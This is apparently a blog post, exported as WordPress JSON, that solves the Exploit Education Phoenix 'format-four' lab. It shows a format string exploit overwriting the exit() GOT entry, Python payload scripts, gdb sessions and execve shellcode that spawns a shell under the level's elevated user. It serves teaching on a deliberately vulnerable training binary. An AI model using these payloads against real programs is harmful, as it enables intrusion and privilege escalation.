{"id":605,"date":"2019-08-07T13:58:30","date_gmt":"2019-08-07T17:58:30","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=605"},"modified":"2019-08-16T13:06:15","modified_gmt":"2019-08-16T17:06:15","slug":"exploit-education-phoenix-format-four-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-format-four-solution\/","title":{"rendered":"Exploit Education | Phoenix | Format Four Solution"},"content":{"rendered":"<p>The description and source code can be found here:<br \/>\n<a href=\"http:\/\/exploit.education\/phoenix\/format-four\/\">http:\/\/exploit.education\/phoenix\/format-four\/<\/a><\/p>\n<p>This level is very similar to the previous one, except now we&#8217;re trying to redirect the flow of execution. We need to get the program to call the<span style=\"font-family: Courier New; font-weight: bold;\"> congratulations() <\/span>function. After that, I&#8217;ll try to get arbitrary code execution.<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">void bounce(char *str) {\r\n  printf(str);\r\n  exit(0);\r\n}\r\n\r\nvoid congratulations() {\r\n  printf(&quot;Well done, you're redirected code execution!\\n&quot;);\r\n  exit(0);\r\n}\r\n\r\nint main(int argc, char **argv) {\r\n  char buf&#x5B;4096];\r\n\r\n  printf(&quot;%s\\n&quot;, BANNER);\r\n\r\n  if (read(0, buf, sizeof(buf) - 1) &lt;= 0) {\r\n    exit(EXIT_FAILURE);\r\n  }\r\n\r\n  bounce(buf);\r\n}<\/pre>\n<p>Again, because of null bytes required for the addresses, I won&#8217;t be able to do this level in the amd64 architecture. Since I know I can write to almost any memory address with almost any value, the first thing I would normally try is to overwrite the saved instruction pointer for the<span style=\"font-family: Courier New; font-weight: bold;\"> bounce() <\/span>function. Notice, however, that the function calls<span style=\"font-family: Courier New; font-weight: bold;\"> exit(0); <\/span>at the end. This prevents the program from popping that saved instruction pointer back into the EIP register. However, what we <em>can<\/em> do is overwrite the address of the<span style=\"font-family: Courier New; font-weight: bold;\"> exit() <\/span>function in the Global Offset Table (GOT). The GOT is what stores the addresses of any variables or functions in shared libraries to be used during runtime. The Procedure Linkage Table (PLT) section of the binary contains the trampoline code for an executable to jump to a shared library function. Feel free to let me know if I&#8217;m not 100% accurate in those descriptions. I&#8217;m still learning, myself. Now, the nice thing about the GOT, is that these addresses never change, even on a system with ASLR enabled (which is all modern day systems, excluding most embedded devices). I won&#8217;t go into more detail as there&#8217;s plenty of articles that can explain it much better than I.<\/p>\n<p>Let&#8217;s take a look at the binary&#8217;s relocation symbols:<\/p>\n<pre class=\"brush: plain; highlight: [8]; title: ; notranslate\" title=\"\">$ readelf --relocs \/opt\/phoenix\/i486\/format-four \r\n\r\nRelocation section '.rel.plt' at offset 0x2b0 contains 5 entries:\r\n Offset     Info    Type            Sym.Value  Sym. Name\r\n080497d8  00000107 R_386_JUMP_SLOT   00000000   printf\r\n080497dc  00000207 R_386_JUMP_SLOT   00000000   puts\r\n080497e0  00000407 R_386_JUMP_SLOT   00000000   read\r\n080497e4  00000907 R_386_JUMP_SLOT   00000000   exit\r\n080497e8  00000a07 R_386_JUMP_SLOT   00000000   __libc_start_main<\/pre>\n<p>This shows that the address for the exit() function will be at 0x080497e4. We can also verify this by looking at the disassembly:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ objdump -Mintel -d \/opt\/phoenix\/i486\/format-four\r\n...\r\n08048330 &lt;exit@plt&gt;:\r\n 8048330:       ff 25 e4 97 04 08       jmp    DWORD PTR ds:0x80497e4\r\n 8048336:       68 18 00 00 00          push   0x18\r\n 804833b:       e9 b0 ff ff ff          jmp    80482f0 &lt;.plt&gt;\r\n...<\/pre>\n<p>We&#8217;ll need to overwrite the address at 0x080497e4 with the address of the<span style=\"font-family: Courier New; font-weight: bold;\"> congratulations() <\/span>function. Speaking of which, let&#8217;s get that address right now:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ objdump -d \/opt\/phoenix\/i486\/format-four | grep congratulations\r\n08048503 &lt;congratulations&gt;:<\/pre>\n<p>So now we know that we need to write the vale 0x08048503 at the address 0x080497e4. Then, once the<span style=\"font-family: Courier New; font-weight: bold;\"> exit() <\/span>function is called, the<span style=\"font-family: Courier New; font-weight: bold;\"> congratulations() <\/span>function will be called instead. I&#8217;ll start by trying to write <em>anything<\/em> to that address and check the results in GDB:<\/p>\n<pre class=\"brush: python; light: false; title: payload.py; notranslate\" title=\"payload.py\">buf = &quot;&quot;\r\nbuf += &quot;\\xe4\\x97\\x04\\x08&quot;\r\nbuf += &quot;%x&quot; * 11\r\nbuf += &quot;%n&quot;\r\nprint buf<\/pre>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:\/opt\/phoenix\/i486$ gdb -q format-four \r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n71 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n&#x5B;*] 2 commands could not be loaded, run `gef missing` to know why.\r\nReading symbols from format-four...(no debugging symbols found)...done.\r\n\r\ngef&gt; run &lt; &lt;(python ~\/payload.py)\r\nStarting program: \/opt\/phoenix\/i486\/format-four &lt; &lt;(python ~\/payload1.py)\r\nWelcome to phoenix\/format-four, brought to you by https:\/\/exploit.education\r\n\ufffd000f7f81cf7f7ffb000ffffd718804857dffffc710ffffc710fff0\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n0x0000003a in ?? ()\r\n\r\n&#x5B;... GEF output snipped ...]\r\n\r\ngef&gt; x $eip\r\n0x3a:   Cannot access memory at address 0x3a\r\n\r\ngef&gt; x 0x80497e4\r\n0x80497e4 &lt;exit@got.plt&gt;:       0x0000003a<\/pre>\n<p>As you can see, this successfully redirects the flow of execution. The <strong>%n<\/strong> format type wrote 0x3a (58 bytes) to the address 0x80497e4. Now I just need to use the same technique as seen in <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-format-three-solution\/\">format-three<\/a> to put a specific value at that address. For now, I&#8217;m going to put the address of the<span style=\"font-family: Courier New; font-weight: bold;\"> congratulations() <\/span>function (0x08048503) in there.<\/p>\n<p>Here&#8217;s the final script:<\/p>\n<pre class=\"brush: python; light: false; title: payload.py; notranslate\" title=\"payload.py\"># congratulations() @ 0x08048503\r\nbuf = &quot;&quot;\r\nbuf += &quot;\\xe4\\x97\\x04\\x08&quot;\r\nbuf += &quot;\\xe5\\x97\\x04\\x08&quot;\r\nbuf += &quot;\\xe6\\x97\\x04\\x08&quot;\r\nbuf += &quot;%194x&quot;\r\nbuf += &quot;%x&quot; * 10\r\nbuf += &quot;%n&quot;\r\nbuf += &quot; &quot; * 130\r\nbuf += &quot;%n&quot;\r\nbuf += &quot; &quot; * 1663\r\nbuf += &quot;%n&quot;\r\nprint buf<\/pre>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">$ \/opt\/phoenix\/i486\/format-four &lt; &lt;(python ~\/payload.py)\r\nWelcome to phoenix\/format-four, brought to you by https:\/\/exploit.education\r\n\ufffd\ufffd\ufffd\r\n             000f7f81cf7f7ffb000ffffd748804857dffffc740ffffc740fff0\r\n\r\n\r\n\r\nWell done, you're redirected code execution!\r\nWell done, you're redirected code execution!\r\nWell done, you're redirected code execution!\r\n...<\/pre>\n<p>Success! Since the address of the<span style=\"font-family: Courier New; font-weight: bold;\"> exit() <\/span>function is overwritten in the GOT with the address of the<span style=\"font-family: Courier New; font-weight: bold;\"> congratulations() <\/span>function and the<span style=\"font-family: Courier New; font-weight: bold;\"> congratulations() <\/span>function calls exit(), this becomes an infinite loop of outputting the string, &#8220;Well done, you&#8217;re redirected code execution!&#8221;<\/p>\n<p>Now let&#8217;s see if we can execute our own shellcode. First, I want to find out where, in memory, the format string is being saved to since that&#8217;s where my shellcode will be.<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:\/opt\/phoenix\/i486$ gdb -q format-four \r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n71 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n&#x5B;*] 2 commands could not be loaded, run `gef missing` to know why.\r\nReading symbols from format-four...(no debugging symbols found)...done.\r\n\r\ngef&gt; disas bounce\r\nDump of assembler code for function bounce:\r\n   0x080484e5 &lt;+0&gt;:     push   ebp\r\n   0x080484e6 &lt;+1&gt;:     mov    ebp,esp\r\n   0x080484e8 &lt;+3&gt;:     sub    esp,0x8\r\n   0x080484eb &lt;+6&gt;:     sub    esp,0xc\r\n   0x080484ee &lt;+9&gt;:     push   DWORD PTR &#x5B;ebp+0x8]\r\n   0x080484f1 &lt;+12&gt;:    call   0x8048300 &lt;printf@plt&gt;\r\n   0x080484f6 &lt;+17&gt;:    add    esp,0x10\r\n   0x080484f9 &lt;+20&gt;:    sub    esp,0xc\r\n   0x080484fc &lt;+23&gt;:    push   0x0\r\n   0x080484fe &lt;+25&gt;:    call   0x8048330 &lt;exit@plt&gt;\r\nEnd of assembler dump.\r\n\r\ngef&gt; b *bounce+17\r\nBreakpoint 1 at 0x80484f6\r\n\r\ngef&gt; run &lt; &lt;(echo ABAC)\r\nStarting program: \/opt\/phoenix\/i486\/format-four &lt; &lt;(echo ABAC)\r\nWelcome to phoenix\/format-four, brought to you by https:\/\/exploit.education\r\nABAC\r\n\r\nBreakpoint 1, 0x080484f6 in bounce ()\r\n\r\n&#x5B;... GEF output snipped ...]\r\n\r\ngef&gt; search-pattern ABAC\r\n&#x5B;+] Searching 'ABAC' in memory\r\n&#x5B;+] In '&#x5B;stack]'(0xfffdd000-0xffffe000), permission=rwx\r\n  0xffffc710 - 0xffffc714  \u2192   &quot;ABAC&quot;<\/pre>\n<p>I used a simple string (ABAC) as input that I figured wouldn&#8217;t be found elsewhere in memory. Then I searched for it using the GEF command &#8220;search-pattern.&#8221; This shows that the format string begins at address 0xffffc710. I&#8217;d also like to mention that I keep a<span style=\"font-family: Courier New; font-weight: bold;\"> ~\/.gdbinit <\/span>file that keeps GDB&#8217;s environment variables consistent with the program&#8217;s environment variables as if it were being run directly:<\/p>\n<pre class=\"brush: bash; light: false; title: ~\/.gdbinit; notranslate\" title=\"~\/.gdbinit\">unset env LINES\r\nunset env COLUMNS\r\nset env _ .\/format-four<\/pre>\n<p>Without that, the address of the format string would differ between running the program in GDB and being run directly (in fact, I&#8217;ll find out later that the addresses probably still differ slightly as I needed to use a nop-sled before my shellcode to get it to work).<\/p>\n<p>The format string will begin with the 4 addresses (4 sequential bytes) for the GOT entry that stores the address for the<span style=\"font-family: Courier New; font-weight: bold;\"> exit() <\/span>function. I took the Python script I wrote earlier and expanded upon it to add shellcode within the buffer after the 4 addresses (as well as a few other things to make it easier to write an address to memory &#038; not have to do any calculations by hand). Here&#8217;s the final product and how it looks during execution:<\/p>\n<pre class=\"brush: python; light: false; title: format-four.py; notranslate\" title=\"format-four.py\">import struct\r\n\r\n# Address for exit() in GOT @ 0x080497e4\r\nADDR = 0x080497e4\r\naddresses  = struct.pack(&quot;I&quot;, ADDR)\r\naddresses += struct.pack(&quot;I&quot;, ADDR+1)\r\naddresses += struct.pack(&quot;I&quot;, ADDR+2)\r\naddresses += struct.pack(&quot;I&quot;, ADDR+3)\r\n\r\n# http:\/\/shell-storm.org\/shellcode\/files\/shellcode-841.php (21 bytes)\r\nshellcode  = &quot;\\x31\\xc9\\xf7\\xe1\\xb0\\x0b\\x51\\x68\\x2f\\x2f&quot;\r\nshellcode += &quot;\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\xcd\\x80&quot;\r\n\r\n# The format string begins @ 0xffffc710\r\n# NOP-sled = 0xffffc720-0xffffc760\r\nbyte1 = 0x140\r\nbyte2 = 0x1c7\r\nbyte3 = 0x1ff\r\nbyte4 = 0x2ff\r\n\r\nbuf  = &quot;&quot;\r\nbuf += addresses\r\nbuf += &quot;\\x90&quot; * 64\r\nbuf += shellcode\r\nbuf += &quot;%x&quot; * 11 # Outputs 54 bytes\r\nbuf += &quot; &quot; * (byte1 - 54 - len(shellcode) - 64 - len(addresses))\r\nbuf += &quot;%n&quot;\r\nbuf += &quot; &quot; * (byte2 - byte1)\r\nbuf += &quot;%n&quot;\r\nbuf += &quot; &quot; * (byte3 - byte2)\r\nbuf += &quot;%n&quot;\r\nbuf += &quot; &quot; * (byte4 - byte3)\r\nbuf += &quot;%n&quot;\r\n\r\nprint buf<\/pre>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:\/opt\/phoenix\/i486$ .\/format-four &lt; &lt;(python ~\/format-four.py; cat)\r\nWelcome to phoenix\/format-four, brought to you by https:\/\/exploit.education\r\n\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd1\ufffd\ufffd\ufffd\u2642Qh\/\/shh\/bin\ufffd\ufffd\u0340000f7f81cf7f7ffb000ffffd738804857dffffc730ffffc730fff0\r\n\r\n\r\n\r\n\r\nid\r\nuid=1000(user) gid=1000(user) euid=511(phoenix-i386-format-four) egid=511(phoenix-i386-format-four) groups=511(phoenix-i386-format-four),27(sudo),1000(user)<\/pre>\n<p>You might notice that I used &#8220;cat&#8221; to keep stdin open after the exploit ran. Another option is to find shellcode that doesn&#8217;t require that, like this one: <a href=\"http:\/\/shell-storm.org\/shellcode\/files\/shellcode-219.php\">http:\/\/shell-storm.org\/shellcode\/files\/shellcode-219.php<\/a>. Overall, the script is not much different than before. There were 2 big roadblocks that I came across while trying to get this to work. The first was finding shellcode that would work and the second was the nop-sled. I wasn&#8217;t using any NOPs at first but eventually realized that they&#8217;d be required since addresses in GDB don&#8217;t exactly line up with binaries being run directly.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This level introduces writing to memory in such a way that you can control code execution &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-format-four-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Phoenix | Format Four Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-605","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/605","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=605"}],"version-history":[{"count":18,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/605\/revisions"}],"predecessor-version":[{"id":670,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/605\/revisions\/670"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=605"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=605"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=605"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}